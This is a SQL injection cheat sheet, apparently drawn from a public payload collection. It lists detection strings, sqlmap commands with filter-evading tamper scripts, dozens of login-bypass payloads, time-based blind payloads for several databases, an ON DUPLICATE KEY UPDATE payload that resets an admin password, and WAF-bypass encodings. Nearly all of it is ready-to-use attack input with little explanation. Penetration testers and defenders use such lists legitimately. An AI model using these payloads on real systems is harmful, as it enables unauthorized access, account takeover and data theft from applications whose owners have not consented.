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SQL injection

A SQL injection attack consists of insertion or "injection" of a SQL query via the input data from the client to the application

Entry point detection

Detection of an SQL injection entry point

'
"
%27
" / %22
; / %3B
%%2727
%25%27
`+HERP
'||'DERP
'+'herp
' ' DERP
Unicode character U+02BA MODIFIER LETTER DOUBLE PRIME (encoded as %CA%BA) was
transformed into U+0022 QUOTATION MARK (")
Unicode character U+02B9 MODIFIER LETTER PRIME (encoded as %CA%B9) was
transformed into U+0027 APOSTROPHE (')
Wildcard (*)

SQL injection using SQLmap

Basic arguments for SQLmap

sqlmap --url="<url>" -p username --user-agent=SQLMAP --random-agent --threads=10 --risk=3 --level=5 --eta --dbms=MySQL --os=Linux --banner --is-dba --users --passwords --current-user --dbs

Custom injection in UserAgent/Header/Referer/Cookie

python sqlmap.py -u "http://example.com" --data "username=admin&password=pass"  --headers="x-forwarded-for:127.0.0.1*"
The injection is located at the '*'

General tamper option and tamper's list

tamper=name_of_the_tamper
Tamper Description
apostrophemask.py Replaces apostrophe character with its UTF-8 full width counterpart
apostrophenullencode.py Replaces apostrophe character with its illegal double unicode counterpart
appendnullbyte.py Appends encoded NULL byte character at the end of payload
base64encode.py Base64 all characters in a given payload
between.py Replaces greater than operator ('>') with 'NOT BETWEEN 0 AND #'
bluecoat.py Replaces space character after SQL statement with a valid random blank character.Afterwards replace character = with LIKE operator
chardoubleencode.py Double url-encodes all characters in a given payload (not processing already encoded)
commalesslimit.py Replaces instances like 'LIMIT M, N' with 'LIMIT N OFFSET M'
commalessmid.py Replaces instances like 'MID(A, B, C)' with 'MID(A FROM B FOR C)'
concat2concatws.py Replaces instances like 'CONCAT(A, B)' with 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)'
charencode.py Url-encodes all characters in a given payload (not processing already encoded)
charunicodeencode.py Unicode-url-encodes non-encoded characters in a given payload (not processing already encoded)
equaltolike.py Replaces all occurances of operator equal ('=') with operator 'LIKE'
escapequotes.py Slash escape quotes (' and ")
greatest.py Replaces greater than operator ('>') with 'GREATEST' counterpart
halfversionedmorekeywords.py Adds versioned MySQL comment before each keyword
ifnull2ifisnull.py Replaces instances like 'IFNULL(A, B)' with 'IF(ISNULL(A), B, A)'
modsecurityversioned.py Embraces complete query with versioned comment
modsecurityzeroversioned.py Embraces complete query with zero-versioned comment
multiplespaces.py Adds multiple spaces around SQL keywords
nonrecursivereplacement.py Replaces predefined SQL keywords with representations suitable for replacement (e.g. .replace("SELECT", "")) filters
percentage.py Adds a percentage sign ('%') infront of each character
overlongutf8.py Converts all characters in a given payload (not processing already encoded)
randomcase.py Replaces each keyword character with random case value
randomcomments.py Add random comments to SQL keywords
securesphere.py Appends special crafted string
sp_password.py Appends 'sp_password' to the end of the payload for automatic obfuscation from DBMS logs
space2comment.py Replaces space character (' ') with comments
space2dash.py Replaces space character (' ') with a dash comment ('--') followed by a random string and a new line ('\n')
space2hash.py Replaces space character (' ') with a pound character ('#') followed by a random string and a new line ('\n')
space2morehash.py Replaces space character (' ') with a pound character ('#') followed by a random string and a new line ('\n')
space2mssqlblank.py Replaces space character (' ') with a random blank character from a valid set of alternate characters
space2mssqlhash.py Replaces space character (' ') with a pound character ('#') followed by a new line ('\n')
space2mysqlblank.py Replaces space character (' ') with a random blank character from a valid set of alternate characters
space2mysqldash.py Replaces space character (' ') with a dash comment ('--') followed by a new line ('\n')
space2plus.py Replaces space character (' ') with plus ('+')
space2randomblank.py Replaces space character (' ') with a random blank character from a valid set of alternate characters
symboliclogical.py Replaces AND and OR logical operators with their symbolic counterparts (&& and
unionalltounion.py Replaces UNION ALL SELECT with UNION SELECT
unmagicquotes.py Replaces quote character (') with a multi-byte combo %bf%27 together with generic comment at the end (to make it work)
uppercase.py Replaces each keyword character with upper case value 'INSERT'
varnish.py Append a HTTP header 'X-originating-IP'
versionedkeywords.py Encloses each non-function keyword with versioned MySQL comment
versionedmorekeywords.py Encloses each keyword with versioned MySQL comment
xforwardedfor.py Append a fake HTTP header 'X-Forwarded-For'

Authentication bypass

'-'
' '
'&'
'^'
'*'
' or ''-'
' or '' '
' or ''&'
' or ''^'
' or ''*'
"-"
" "
"&"
"^"
"*"
" or ""-"
" or "" "
" or ""&"
" or ""^"
" or ""*"
or true--
" or true--
' or true--
") or true--
') or true--
' or 'x'='x
') or ('x')=('x
')) or (('x'))=(('x
" or "x"="x
") or ("x")=("x
")) or (("x"))=(("x
or 2 like 2
or 1=1
or 1=1--
or 1=1#
or 1=1/*
admin' --
admin' #
admin'/*
admin' or '2' LIKE '1
admin' or 2 LIKE 2--
admin' or 2 LIKE 2#
admin') or 2 LIKE 2#
admin') or 2 LIKE 2--
admin') or ('2' LIKE '2
admin') or ('2' LIKE '2'#
admin') or ('2' LIKE '2'/*
admin' or '1'='1
admin' or '1'='1'--
admin' or '1'='1'#
admin' or '1'='1'/*
admin'or 1=1 or ''='
admin' or 1=1
admin' or 1=1--
admin' or 1=1#
admin' or 1=1/*
admin') or ('1'='1
admin') or ('1'='1'--
admin') or ('1'='1'#
admin') or ('1'='1'/*
admin') or '1'='1
admin') or '1'='1'--
admin') or '1'='1'#
admin') or '1'='1'/*
1234 ' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055
admin" --
admin" #
admin"/*
admin" or "1"="1
admin" or "1"="1"--
admin" or "1"="1"#
admin" or "1"="1"/*
admin"or 1=1 or ""="
admin" or 1=1
admin" or 1=1--
admin" or 1=1#
admin" or 1=1/*
admin") or ("1"="1
admin") or ("1"="1"--
admin") or ("1"="1"#
admin") or ("1"="1"/*
admin") or "1"="1
admin") or "1"="1"--
admin") or "1"="1"#
admin") or "1"="1"/*
1234 " AND 1=0 UNION ALL SELECT "admin", "81dc9bdb52d04dc20036dbd8313ed055

Time based

SQLite : AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))      comment:   -- /**/
MySQL/MariaDB : AND [RANDNUM]=BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]'))  //SHA1       comment: # -- /*!30100 MySQL code*/
MySQL/MariaDB : RLIKE SLEEP([SLEEPTIME])                                                  comment: # -- /*!30100 MySQL code*/
MySQL/MariaDB : OR ELT([RANDNUM]=[RANDNUM],SLEEP([SLEEPTIME]))                            comment: # -- /*!30100 MySQL code*/
Oracle : AND [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME])                 comment:   -- /**/
PostGreSQL : AND [RANDNUM]=(SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME]))                  comment:   -- /**/  
PostGreSQL : AND [RANDNUM]=(SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000))    comment:   -- /**/
SQL Server : IF([INFERENCE]) WAITFOR DELAY '0:0:[SLEEPTIME]'                              comment:   --

Polyglot injection (multicontext)

SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/

Insert Statement - ON DUPLICATE KEY UPDATE

ON DUPLICATE KEY UPDATE keywords is used to tell MySQL what to do when the application tries to insert a row that already exists in the table. We can use this to change the admin password by:

Inject using payload:
  [email protected]", "bcrypt_hash_of_qwerty"), ("[email protected]", "bcrypt_hash_of_qwerty") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_qwerty" --

The query would look like this:
INSERT INTO users (email, password) VALUES ("[email protected]", "bcrypt_hash_of_qwerty"), ("[email protected]", "bcrypt_hash_of_qwerty") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_qwerty" -- ", "bcrypt_hash_of_your_password_input");

This query will insert a row for the user “[email protected]”. It will also insert a row for the user “[email protected]”.
Because this row already exists, the ON DUPLICATE KEY UPDATE keyword tells MySQL to update the `password` column of the already existing row to "bcrypt_hash_of_qwerty".

After this, we can simply authenticate with “[email protected]” and the password “qwerty”!

WAF Bypass

No Space (%20) - bypass using whitespace alternatives

?id=1%09and%091=1%09--
?id=1%0Dand%0D1=1%0D--
?id=1%0Cand%0C1=1%0C--
?id=1%0Band%0B1=1%0B--
?id=1%0Aand%0A1=1%0A--
?id=1%A0and%A01=1%A0--

No Whitespace - bypass using comments

?id=1/*comment*/and/**/1=1/**/--

No Whitespace - bypass using parenthesis

?id=(1)and(1)=(1)--

No Comma - bypass using OFFSET, FROM and JOIN

LIMIT 0,1         -> LIMIT 1 OFFSET 0
SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1).
SELECT 1,2,3,4    -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d

Blacklist using keywords - bypass using uppercase/lowercase

?id=1 AND 1=1#
?id=1 AnD 1=1#
?id=1 aNd 1=1#

Blacklist using keywords case insensitive - bypass using an equivalent operator

AND   -> &&
OR    -> ||
=     -> LIKE,REGEXP, not < and not >
> X   -> not between 0 and X
WHERE -> HAVING

Information_schema.tables Alternative

select * from mysql.innodb_table_stats;
+----------------+-----------------------+---------------------+--------+----------------------+--------------------------+
| database_name  | table_name            | last_update         | n_rows | clustered_index_size | sum_of_other_index_sizes |
+----------------+-----------------------+---------------------+--------+----------------------+--------------------------+
| dvwa           | guestbook             | 2017-01-19 21:02:57 |      0 |                    1 |                        0 |
| dvwa           | users                 | 2017-01-19 21:03:07 |      5 |                    1 |                        0 |
...
+----------------+-----------------------+---------------------+--------+----------------------+--------------------------+

mysql> show tables in dvwa;
+----------------+
| Tables_in_dvwa |
+----------------+
| guestbook      |
| users          |
+----------------+

Version Alternative

mysql> select @@innodb_version;
+------------------+
| @@innodb_version |
+------------------+
| 5.6.31           |
+------------------+

mysql> select @@version;
+-------------------------+
| @@version               |
+-------------------------+
| 5.6.31-0ubuntu0.15.10.1 |
+-------------------------+

mysql> mysql> select version();
+-------------------------+
| version()               |
+-------------------------+
| 5.6.31-0ubuntu0.15.10.1 |
+-------------------------+

Thanks to - Other resources